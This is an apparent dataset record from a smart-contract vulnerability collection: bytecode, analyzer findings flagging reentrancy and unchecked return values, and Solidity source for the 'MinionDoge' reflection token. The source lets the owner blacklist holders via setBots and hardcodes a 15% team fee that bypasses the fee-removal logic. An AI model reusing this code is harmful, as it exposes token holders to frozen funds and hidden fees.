50919050565b6000612966601b83612dfc565b91506129718261322d565b602082019050919050565b6000612989602183612dfc565b915061299482613256565b604082019050919050565b60006129ac602083612dfc565b91506129b7826132a5565b602082019050919050565b60006129cf602983612dfc565b91506129da826132ce565b604082019050919050565b60006129f2602583612dfc565b91506129fd8261331d565b604082019050919050565b6000612a15602483612dfc565b9150612a208261336c565b604082019050919050565b6000612a38601783612dfc565b9150612a43826133bb565b602082019050919050565b612a5781612f60565b82525050565b612a6681612f6a565b82525050565b6000602082019050612a816000830184612809565b92915050565b6000604082019050612a9c6000830185612809565b612aa96020830184612809565b9392505050565b6000604082019050612ac56000830185612809565b612ad26020830184612a4e565b9392505050565b600060c082019050612aee6000830189612809565b612afb6020830188612a4e565b612b086040830187612885565b612b156060830186612885565b612b226080830185612809565b612b2f60a0830184612a4e565b979650505050505050565b6000602082019050612b4f6000830184612876565b92915050565b60006020820190508181036000830152612b6f8184612894565b905092915050565b60006020820190508181036000830152612b90816128cd565b9050919050565b60006020820190508181036000830152612bb0816128f0565b9050919050565b60006020820190508181036000830152612bd081612913565b9050919050565b60006020820190508181036000830152612bf081612936565b9050919050565b60006020820190508181036000830152612c1081612959565b9050919050565b60006020820190508181036000830152612c308161297c565b9050919050565b60006020820190508181036000830152612c508161299f565b9050919050565b60006020820190508181036000830152612c70816129c2565b9050919050565b60006020820190508181036000830152612c90816129e5565b9050919050565b60006020820190508181036000830152612cb081612a08565b9050919050565b60006020820190508181036000830152612cd081612a2b565b9050919050565b6000602082019050612cec6000830184612a4e565b92915050565b600060a082019050612d076000830188612a4e565b612d146020830187612885565b8181036040830152612d268186612818565b9050612d356060830185612809565b612d426080830184612a4e565b9695505050505050565b6000602082019050612d616000830184612a5d565b92915050565b6000612d71612d82565b9050612d7d8282612fbc565b919050565b6000604051905090565b600067ffffffffffffffff821115612da757612da66130c3565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612e1882612f60565b9150612e2383612f60565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612e5857612e57613036565b5b828201905092915050565b6000612e6e82612f60565b9150612e7983612f60565b925082612e8957612e88613065565b5b828204905092915050565b6000612e9f82612f60565b9150612eaa83612f60565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612ee357612ee2613036565b5b828202905092915050565b6000612ef982612f60565b9150612f0483612f60565b925082821015612f1757612f16613036565b5b828203905092915050565b6000612f2d82612f40565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612f8282612f60565b9050919050565b60005b83811015612fa7578082015181840152602081019050612f8c565b83811115612fb6576000848401525b50505050565b612fc582613106565b810181811067ffffffffffffffff82111715612fe457612fe36130c3565b5b80604052505050565b6000612ff882612f60565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561302b5761302a613036565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f556e617574686f72697a65640000000000000000000000000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6133ed81612f22565b81146133f857600080fd5b50565b61340481612f34565b811461340f57600080fd5b50565b61341b81612f60565b811461342657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c87cbde44bdb1969b8be2a274cc602eb00750a7e38436620b258e0f7fa1f3b9064736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
10,039
0x127bdf547bf0a7bc86a847fab14482d7a84e14b5
/** *Submitted for verification at Etherscan.io on 2021-07-08 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract MinionDoge is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = " Minion Doge Inu "; string private constant _symbol = " MinionDoge "; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1) { _teamAddress = addr1; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 10000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, 15); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612dea565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906128f1565b61045e565b6040516101789190612dcf565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f8c565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061289e565b61048d565b6040516101e09190612dcf565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612804565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613001565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061297a565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612804565b610783565b6040516102b19190612f8c565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d01565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612dea565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906128f1565b61098d565b60405161035b9190612dcf565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612931565b6109ab565b005b34801561039957600080fd5b506103a2610ad5565b005b3480156103b057600080fd5b506103b9610b4f565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129d4565b6110ab565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061285e565b6111f4565b6040516104189190612f8c565b60405180910390f35b60606040518060400160405280601181526020017f204d696e696f6e20446f676520496e7520000000000000000000000000000000815250905090565b600061047261046b61127b565b8484611283565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461144e565b61055b846104a661127b565b6105568560405180606001604052806028815260200161370860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c61127b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0d9092919063ffffffff16565b611283565b600190509392505050565b61056e61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612ecc565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612ecc565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075261127b565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c71565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cdd565b9050919050565b6107dc61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612ecc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600c81526020017f204d696e696f6e446f6765200000000000000000000000000000000000000000815250905090565b60006109a161099a61127b565b848461144e565b6001905092915050565b6109b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612ecc565b60405180910390fd5b60005b8151811015610ad1576001600a6000848481518110610a6557610a64613349565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac9906132a2565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1661127b565b73ffffffffffffffffffffffffffffffffffffffff1614610b3657600080fd5b6000610b4130610783565b9050610b4c81611d4b565b50565b610b5761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612ecc565b60405180910390fd5b600e60149054906101000a900460ff1615610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90612f4c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc430600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611283565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d429190612831565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da457600080fd5b505afa158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc9190612831565b6040518363ffffffff1660e01b8152600401610df9929190612d1c565b602060405180830381600087803b158015610e1357600080fd5b505af1158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b9190612831565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed430610783565b600080610edf610927565b426040518863ffffffff1660e01b8152600401610f0196959493929190612d6e565b6060604051808303818588803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f539190612a01565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611055929190612d45565b602060405180830381600087803b15801561106f57600080fd5b505af1158015611083573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a791906129a7565b5050565b6110b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611140576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113790612ecc565b60405180910390fd5b60008111611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117a90612e8c565b60405180910390fd5b6111b260646111a483683635c9adc5dea00000611fd390919063ffffffff16565b61204e90919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f546040516111e99190612f8c565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ea90612f2c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612e4c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114419190612f8c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612f0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612e0c565b60405180910390fd5b60008111611571576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156890612eec565b60405180910390fd5b611579610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e757506115b7610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4a57600e60179054906101000a900460ff161561181a573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561171d5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181957600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176361127b565b73ffffffffffffffffffffffffffffffffffffffff1614806117d95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c161127b565b73ffffffffffffffffffffffffffffffffffffffff16145b611818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180f90612f6c565b60405180910390fd5b5b5b600f5481111561182957600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118cd5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118d657600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119815750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119ef5750600e60179054906101000a900460ff165b15611a905742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3f57600080fd5b603c42611a4c91906130c2565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9b30610783565b9050600e60159054906101000a900460ff16158015611b085750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b205750600e60169054906101000a900460ff165b15611b4857611b2e81611d4b565b60004790506000811115611b4657611b4547611c71565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bfb57600090505b611c0784848484612098565b50505050565b6000838311158290611c55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4c9190612dea565b60405180910390fd5b5060008385611c6491906131a3565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cd9573d6000803e3d6000fd5b5050565b6000600654821115611d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1b90612e2c565b60405180910390fd5b6000611d2e6120c5565b9050611d43818461204e90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d8357611d82613378565b5b604051908082528060200260200182016040528015611db15781602001602082028036833780820191505090505b5090503081600081518110611dc957611dc8613349565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e6b57600080fd5b505afa158015611e7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea39190612831565b81600181518110611eb757611eb6613349565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f1e30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611283565b